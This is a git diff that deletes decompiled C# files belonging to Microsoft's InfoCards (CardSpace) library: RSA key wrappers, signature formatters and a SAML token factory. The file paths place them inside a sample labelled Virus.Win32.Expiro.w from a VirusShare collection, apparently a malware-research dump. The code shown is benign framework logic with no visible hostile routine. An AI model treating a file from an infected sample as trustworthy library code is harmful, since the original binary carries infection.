&pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return 0; - } - } - - private class SortComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SortComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SortComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return pObj1->LocalId - pObj2->LocalId; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexSettings.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexSettings.cs deleted file mode 100644 index 90aacbed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexSettings.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexSettings -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum SecondaryIndexSettings - { - None = 0, - Nullable = 1, - Unique = 2, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecurityKeyTypeInternal.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecurityKeyTypeInternal.cs deleted file mode 100644 index 357404d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecurityKeyTypeInternal.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecurityKeyTypeInternal -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum SecurityKeyTypeInternal - { - SymmetricKey, - AsymmetricKey, - NoKey, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs deleted file mode 100644 index cdd7cba3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthAsymmetricKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthAsymmetricKey : AsymmetricSecurityKey, IDisposable - { - private SelfIssuedAuthRSACryptoProvider m_selfIssuedAuthRsaCryptoProvider; - - public SelfIssuedAuthAsymmetricKey(RSACryptoServiceProvider rsa) => this.m_selfIssuedAuthRsaCryptoProvider = new SelfIssuedAuthRSACryptoProvider(rsa); - - public override int KeySize => this.m_selfIssuedAuthRsaCryptoProvider.KeySize; - - public override bool HasPrivateKey() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_selfIssuedAuthRsaCryptoProvider.IsPublicOnly(), "selfIssuedRsaCrypoProvider"); - return true; - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return (AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("ClientUnsupportedCryptoAlgorithm", (object) algorithmUri))); - } - } - - public override HashAlgorithm GetHashAlgorithmForSignature(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (HashAlgorithm) new SHA1Managed(); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureDeformatter) new SelfIssuedAuthRSAPKCS1SignatureDeformatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureFormatter) new SelfIssuedAuthRSAPKCS1SignatureFormatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override byte[] DecryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] EncryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return true; - default: - return false; - } - } - - public override bool IsSymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsSymmetricAlgorithm(algorithmUri); - - public override bool IsAsymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsAsymmetricAlgorithm(algorithmUri); - - public void Dispose() - { - if (this.m_selfIssuedAuthRsaCryptoProvider == null) - return; - this.m_selfIssuedAuthRsaCryptoProvider.Dispose(); - this.m_selfIssuedAuthRsaCryptoProvider = (SelfIssuedAuthRSACryptoProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs deleted file mode 100644 index bbccb630..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthProofToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthProofToken : SecurityToken, IDisposable - { - private string m_id; - private DateTime m_expiration; - private ReadOnlyCollection m_securityKeys; - private SecurityKey m_securityKey; - private bool m_isSymmetric; - private RSACryptoServiceProvider m_publicKey; - - public SelfIssuedAuthProofToken(RSACryptoServiceProvider rsa, DateTime expiration) - : this(expiration) - { - this.m_publicKey = new RSACryptoServiceProvider(); - this.m_publicKey.ImportCspBlob(rsa.ExportCspBlob(false)); - this.InitCrypto((SecurityKey) new SelfIssuedAuthAsymmetricKey(rsa)); - } - - public SelfIssuedAuthProofToken(InMemorySymmetricSecurityKey symKey, DateTime expiration) - : this(expiration) - { - this.m_isSymmetric = true; - this.InitCrypto((SecurityKey) symKey); - } - - private SelfIssuedAuthProofToken(DateTime expiration) - { - this.m_id = Guid.NewGuid().ToString(); - this.m_expiration = expiration.ToUniversalTime(); - } - - public override string Id => this.m_id; - - public override ReadOnlyCollection SecurityKeys => this.m_securityKeys; - - public override DateTime ValidTo => this.m_expiration; - - public override DateTime ValidFrom => DateTime.UtcNow; - - private void InitCrypto(SecurityKey securityKey) - { - this.m_securityKey = securityKey; - this.m_securityKeys = new List(1) - { - securityKey - }.AsReadOnly(); - } - - public override bool CanCreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause); - - public override T CreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause) ? (T) new RsaKeyIdentifierClause((RSA) this.m_publicKey) : base.CreateKeyIdentifierClause(); - - public override bool MatchesKeyIdentifierClause(SecurityKeyIdentifierClause keyIdentifierClause) => keyIdentifierClause is RsaKeyIdentifierClause identifierClause && identifierClause.Matches((RSA) this.m_publicKey); - - public void Dispose() - { - if (this.m_securityKey != null && !this.m_isSymmetric) - { - ((IDisposable) this.m_securityKey).Dispose(); - this.m_securityKey = (SecurityKey) null; - this.m_securityKeys = (ReadOnlyCollection) null; - } - if (this.m_publicKey == null) - return; - this.m_publicKey.Dispose(); - this.m_publicKey = (RSACryptoServiceProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs deleted file mode 100644 index afb5fbf0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSACryptoProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSACryptoProvider : RSA - { - private RSACryptoServiceProvider m_rsa; - - public SelfIssuedAuthRSACryptoProvider(RSACryptoServiceProvider rsa) => this.m_rsa = rsa; - - public override string SignatureAlgorithm => this.m_rsa.SignatureAlgorithm; - - public override string KeyExchangeAlgorithm => this.m_rsa.KeyExchangeAlgorithm; - - public bool IsPublicOnly() => this.m_rsa.PublicOnly; - - public override byte[] EncryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] DecryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Decrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Encrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - return this.m_rsa.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - InfoCardTrace.ThrowInvalidArgumentConditional(sig == null || 0 == sig.Length, nameof (sig)); - return this.m_rsa.VerifyHash(hash, hashAlgOid, sig); - } - - public override RSAParameters ExportParameters(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string ToXmlString(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void FromXmlString(string xmlString) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_rsa == null) - return; - this.m_rsa.Dispose(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs deleted file mode 100644 index a025c0be..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureDeformatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureDeformatter : RSAPKCS1SignatureDeformatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override bool VerifySignature(byte[] rgbHash, byte[] rgbSignature) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && rgbSignature != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).VerifyHash(rgbHash, this.m_strOID, rgbSignature) : base.VerifySignature(rgbHash, rgbSignature); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs deleted file mode 100644 index c998d774..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureFormatter : RSAPKCS1SignatureFormatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureFormatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureFormatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override byte[] CreateSignature(byte[] rgbHash) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).SignHash(rgbHash, this.m_strOID) : base.CreateSignature(rgbHash); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs deleted file mode 100644 index 03cd15a3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs +++ /dev/null @@ -1,312 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedSamlTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedSamlTokenFactory : TokenFactoryBase - { - private const string SamlAssertionIdPrefix = "SamlSecurityToken-"; - private const string DefaultDigestAlgorithm = "http://www.w3.org/2000/09/xmldsig#sha1"; - public static readonly TimeSpan TokenLifetime = new TimeSpan(1, 0, 0); - private static readonly SamlSerializer samlSerializer = new SamlSerializer(); - private string m_signatureAlgorithm = "http://www.w3.org/2000/09/xmldsig#rsa-sha1"; - private string m_encryptionAlgorithm = SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm; - private string m_encryptWithAlgorithm; - private string m_keyWrapAlgorithm; - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter creationParam, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - RSACryptoServiceProvider cryptoServiceProvider = (RSACryptoServiceProvider) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignatureAlgorithm)) - this.m_signatureAlgorithm = policy.OptionalRstParams.SignatureAlgorithm; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm)) - this.m_encryptionAlgorithm = policy.OptionalRstParams.EncryptionAlgorithm; - TokenDescriptor tokenDescriptor; - try - { - List claimSet = this.GetClaimSet(card, policy, discloseOptional); - List disclosedClaims = new List(claimSet.Count); - for (int index = 0; index < claimSet.Count; ++index) - disclosedClaims.Add(claimSet[index].Id); - SamlSecurityToken samlToken; - DisplayToken displayToken; - XmlElement protectedToken; - using (RSACryptoServiceProvider publicCryptography = card.GetPublicCryptography(policy.Recipient.GetIdentifier())) - { - SecurityKeyIdentifier issuerKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) publicCryptography) - }); - SecurityKeyIdentifier proofKeyIdentifier; - SecurityKey proofCryptoInsideSamlToken; - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - InfoCardTrace.Assert(policy.ImmediateTokenRecipient is X509RecipientIdentity, "Symmetric key type is not allowed when no certifcate is provided for the token recipeint"); - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm : policy.OptionalRstParams.EncryptWith; - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - SecurityAlgorithmSuite securityAlgorithmSuite; - switch (this.m_encryptWithAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - symmetricProof.KeySize = securityAlgorithmSuite.DefaultSymmetricKeyLength; - X509SecurityToken x509SecurityToken = new X509SecurityToken(((X509RecipientIdentity) policy.ImmediateTokenRecipient).LeafCertificate, Guid.NewGuid().ToString()); - SecurityKeyIdentifier encryptingKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) x509SecurityToken.CreateKeyIdentifierClause() - }); - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(x509SecurityToken.SecurityKeys[0].EncryptKey(this.m_keyWrapAlgorithm, symmetricProof.Key), this.m_keyWrapAlgorithm, encryptingKeyIdentifier) - }); - proofCryptoInsideSamlToken = (SecurityKey) new InMemorySymmetricSecurityKey(symmetricProof.Key); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : policy.OptionalRstParams.EncryptWith; - this.m_keyWrapAlgorithm = this.m_encryptWithAlgorithm; - symmetricProof = (SymmetricAlgorithm) null; - cryptoServiceProvider = publicCryptography; - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) cryptoServiceProvider) - }); - proofCryptoInsideSamlToken = proofKeyIdentifier.CreateKey(); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else - { - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal."); - proofKeyIdentifier = (SecurityKeyIdentifier) null; - proofCryptoInsideSamlToken = (SecurityKey) null; - } - using (SelfIssuedAuthAsymmetricKey issuerSigningKey = new SelfIssuedAuthAsymmetricKey(card.GetPrivateCryptography(policy.Recipient.GetIdentifier()))) - { - Uri uri = policy.ImmediateTokenRecipient.Address.Uri; - if ((EndpointAddress) null != policy.PolicyAppliesTo) - uri = policy.PolicyAppliesTo.Uri; - samlToken = this.CreateSamlToken(claimSet, issuerKeyIdentifier, proofKeyIdentifier, proofCryptoInsideSamlToken, (SecurityKey) issuerSigningKey, uri); - displayToken = this.CreateDisplayToken(claimSet); - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient) - { - protectedToken = EncryptionUtility.EncryptSecurityToken((SecurityToken) samlToken, immediateTokenRecipient.LeafCertificate, this.m_encryptionAlgorithm, this.m_keyWrapAlgorithm, policy.ProtocolVersionProfile); - } - else - { - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - policy.ProtocolVersionProfile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, (SecurityToken) samlToken); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - protectedToken = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - input.Close(); - } - } - } - StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture); - policy.ProtocolVersionProfile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(samlToken.Id)); - w.Flush(); - string str = w.GetStringBuilder().ToString(); - tokenDescriptor = new TokenDescriptor(samlToken.Id, samlToken.ValidFrom, samlToken.ValidTo, protectedToken, displayToken, symmetricProof, str, str, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException((string) null, ex)); - throw; - } - finally - { - 